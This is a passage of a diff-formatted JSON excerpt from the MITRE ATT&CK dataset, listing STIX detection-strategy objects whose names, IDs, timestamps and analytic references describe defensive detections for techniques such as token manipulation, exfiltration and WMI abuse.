"https://attack.mitre.org/detectionstrategies/DET0456", + "external_id": "DET0456" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain detection for T1134.002 Create Process with Token (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0929e9c5-2e1a-4cc1-a9c5-df081b180201" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--eb751740-80cd-4ec1-a989-8691bf7f2039", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0489", + "external_id": "DET0489" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain detection for T1134.004 Access Token Manipulation: Parent PID Spoofing (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--312f9f86-b987-483c-8b1d-955415eea946" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d32792e2-f927-492b-91bf-ac478cf64868", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0136", + "external_id": "DET0136" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain detection for T1134.005 Access Token Manipulation: SID-History Injection (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c061d938-cafa-4e9d-8729-29d63ba633ad" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e7870b55-7420-444a-9751-99fb5fbf4cd9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0182", + "external_id": "DET0182" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain detection for T1135 Network Share Discovery across Windows, Linux, and macOS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8a2537c3-9e9a-482d-81e2-281f88cf8878", + "x-mitre-analytic--2de35397-ef03-4ffe-b531-d7ad61a6f41d", + "x-mitre-analytic--5a9238a9-acd0-44f0-bd41-f86ef433775b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--994c7fc6-ad85-47e6-9079-fb872ec7e541", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0249", + "external_id": "DET0249" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain detection for T1610 Deploy Container across Docker & Kubernetes control/node planes", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c345908d-4f74-4341-a203-8c76be2a136b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5fb0bb0d-cc9c-47aa-86f2-567b4ee642ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0556", + "external_id": "DET0556" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain detection strategy for T1127.001 Trusted Developer Utilities Proxy Execution: MSBuild (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e24b6c08-4fd0-40c7-a71a-762cc08d6085" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ec75b064-d8f1-40a7-832c-0ef0bb40214d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0191", + "external_id": "DET0191" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain detection strategy for T1127.002 Trusted Developer Utilities Proxy Execution: ClickOnce (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--dc4d944f-975a-4057-8edb-deb023db387c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--680956cb-d8c6-447c-99b4-82865fb89255", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0585", + "external_id": "DET0585" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain detection strategy for T1127.003 Trusted Developer Utilities Proxy Execution: JamPlus (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3a5eea3b-b447-47c5-832d-6ced137b1597" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--98ae5e06-7ea5-49b9-b793-7f97b1d306b2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0151", + "external_id": "DET0151" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain, platform-aware detection strategy for T1124 System Time Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--bd34c127-9956-4616-999d-229f30512f74", + "x-mitre-analytic--9f2278c6-2e45-42fb-a1f9-00f02d496c53", + "x-mitre-analytic--252e5c07-8ae0-4ef8-9a98-c11b6c6d4d46", + "x-mitre-analytic--2e51d33e-28d3-4e3f-a68a-38bc2d4abdde", + "x-mitre-analytic--99ab1534-79b5-4660-83ed-3604bcb320f2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e9ee6ab5-333b-4cea-8637-23360d904472", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0197", + "external_id": "DET0197" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain, platform-aware detection strategy for T1125 Video Capture", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--171803bb-8aa7-42df-861a-18d6d694f909", + "x-mitre-analytic--f3c5c71a-da1b-4d09-bda7-ec07b0b7c05d", + "x-mitre-analytic--db3263c7-0abc-47be-a9f3-434d255b1e0e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f47cb8dc-2120-4541-9306-95053218ba8a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0172", + "external_id": "DET0172" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain, platform-aware detection strategy for T1127 Trusted Developer Utilities Proxy Execution (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d69c9d97-17d6-4dad-a4d4-ec41e7fb34fb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--928a6ce6-fca0-4d66-aba3-1121431b953e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0018", + "external_id": "DET0018" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior-chain, platform-aware detection strategy for T1129 Shared Modules", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--cc5f309c-6eb0-4f96-ba1a-0f4fd3bc1b79", + "x-mitre-analytic--01c969ef-7057-44bd-bced-9b64a98234ec", + "x-mitre-analytic--52a5dffb-f3a3-45fc-97b3-2c09fed8e0b4" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--31f41970-898c-4c64-b018-e03eabb81916", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0052", + "external_id": "DET0052" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection Strategy for Abuse of Sudo and Sudo Caching", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0994985d-1d45-478e-9f1c-f407eb297007", + "x-mitre-analytic--8825b589-3a6a-483a-9fc0-a4d00b1183ab" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ed9ef930-ec1f-4e57-a110-9b647e2ca195", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0131", + "external_id": "DET0131" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection Strategy for Exfiltration Over Alternative Protocol", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1543bc4a-7614-417a-85b9-d67e3da0350c", + "x-mitre-analytic--7402eb3b-9349-478a-a8e9-7ee72c4b67c5", + "x-mitre-analytic--c545f39e-d1a2-4b0e-bdf1-6a84226557e9", + "x-mitre-analytic--8dbd751b-a2cf-418a-b409-daae78a250f8", + "x-mitre-analytic--3810988a-78be-4628-a9a5-500020f9c075" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5d368ccf-2946-4a01-bfae-c18064b6187a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0503", + "external_id": "DET0503" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection Strategy for Exfiltration Over Symmetric Encrypted Non-C2 Protocol", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4e5ffb58-75de-4305-a439-98ca3499f45e", + "x-mitre-analytic--d8978977-d2c8-4c1c-a6c1-0176330e3446", + "x-mitre-analytic--bcab4073-2316-4685-be6c-fb5ab92b22be", + "x-mitre-analytic--d73a1356-7f4f-4f54-afca-437736e5f53c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--82e20b1f-300e-43cc-9259-1d506ef5d1f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0376", + "external_id": "DET0376" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection Strategy for Network Service Discovery Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--84299e85-2a7e-4f78-9767-3d29aa58857a", + "x-mitre-analytic--287661d0-714e-4bb4-a9f7-c272ad0018b1", + "x-mitre-analytic--28fbe1b0-9663-4997-9d4e-ef43803be114", + "x-mitre-analytic--5d7b1be3-1c8a-40bf-a4d2-85e26dd82d76" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d33ffd4e-6328-4b10-84c0-7ad4a241b02d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0269", + "external_id": "DET0269" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection Strategy for Remote Service Logins and Post-Access Activity", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--34c5e959-876b-4851-8ebf-bfaf97e9e609", + "x-mitre-analytic--a366262a-ba79-4b74-be16-0b139d546651", + "x-mitre-analytic--e26778ca-0fd9-4a1b-9d1d-d8ba561b065a", + "x-mitre-analytic--dfabf07a-8179-43f5-abf6-699202c10343", + "x-mitre-analytic--8a534291-3b75-45ba-9f7b-b952251a3f03" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c7471b0b-ac10-4eac-aae6-cfa821e707dd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0221", + "external_id": "DET0221" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection Strategy for T1123 Audio Capture Across Windows, Linux, macOS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5aaad268-48fb-4826-9f68-b666e1b4a3bf", + "x-mitre-analytic--3ac9b4c2-9137-4d20-9619-01029d656874", + "x-mitre-analytic--f79a68ff-07f4-49ba-849b-9edb636f0b39" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2b666abc-e642-4f40-abec-36bd48f1f15c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0338", + "external_id": "DET0338" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection Strategy for Use Alternate Authentication Material (T1550)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e7ce6bda-a4d3-43a4-afa0-34d57c34ef0d", + "x-mitre-analytic--fbe17895-73cc-432e-8576-f6cab851feb1", + "x-mitre-analytic--367cfbd9-fcfd-4336-863e-b6917ff71cb4", + "x-mitre-analytic--7fb5fe4f-ecd1-45a1-8a0f-dc913587e650", + "x-mitre-analytic--2127b359-24b0-40e2-a202-67e53d5be3b0", + "x-mitre-analytic--1313533a-06c7-44ea-8d75-9a23d3ea23cc", + "x-mitre-analytic--91681b37-7fc7-418c-b4fd-35bebe1d151e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--afdf49f9-905d-49e4-9e42-5726f35e87e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0185", + "external_id": "DET0185" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection Strategy for Use Alternate Authentication Material: Application Access Token (T1550.001)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--43ccb88d-8d8a-4ddb-9ffd-3d897fba76a3", + "x-mitre-analytic--d203b007-e462-4842-82ce-c97f52c17e39", + "x-mitre-analytic--dfad1a86-de44-40b2-95b5-9b18c4103cbb", + "x-mitre-analytic--9680d434-3470-4a35-bf48-1785ab14d831", + "x-mitre-analytic--03216652-ada9-4c1e-88c4-923c2cb60614" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8374a5e5-6d9f-4896-9546-a4d998188ac5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0364", + "external_id": "DET0364" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection Strategy for WMI Execution Abuse on Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--17687fa0-bfbf-4ff2-9eb0-520538e6af31" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ae37afa8-87d5-4091-ac33-010e78eefe97", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0021", + "external_id": "DET0021" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection for Service Stop across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--00449d4c-48c7-4977-bf38-86fbc4e79285", + "x-mitre-analytic--ea793457-89e6-47d2-8ae1-7fd2bd814f82", + "x-mitre-analytic--86ea7b9c-c017-463d-b5d5-377f6dbfae1e", + "x-mitre-analytic--9e12e1f0-1547-4008-8755-2b3bc1c00279" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b13116ed-e9c0-4cd5-81f6-676074078477", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0329", + "external_id": "DET0329" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection for T1490 - Inhibit System Recovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--decb2be7-1a0a-46dd-ab48-cf6258c0185e", + "x-mitre-analytic--135452f6-c760-42a6-8a3f-d09c33f05369", + "x-mitre-analytic--e2fb4be5-bd70-45d6-89ad-e687bc475285", + "x-mitre-analytic--55a0743e-cdc1-44d1-94c7-cf3837e3ef2f", + "x-mitre-analytic--e50f8247-73da-4461-a560-745ed84f1209" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4554ad15-dc0a-44f8-92b6-b8e7dc64385e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0100", + "external_id": "DET0100" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of Asynchronous Procedure Call (APC) Injection via Remote Thread Queuing", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f0fce510-b195-4688-a4ac-b78584febd08" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ca871237-8615-47b7-9981-92d1d920d346", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0142", + "external_id": "DET0142" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavioral Detection of CLI Abuse on Network Devices", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3dc28690-699a-4f6d-ad4b-278aa2dd8c59" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--55e10a13-d18d-4ce5-a773-c4ec6bd68d52", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": 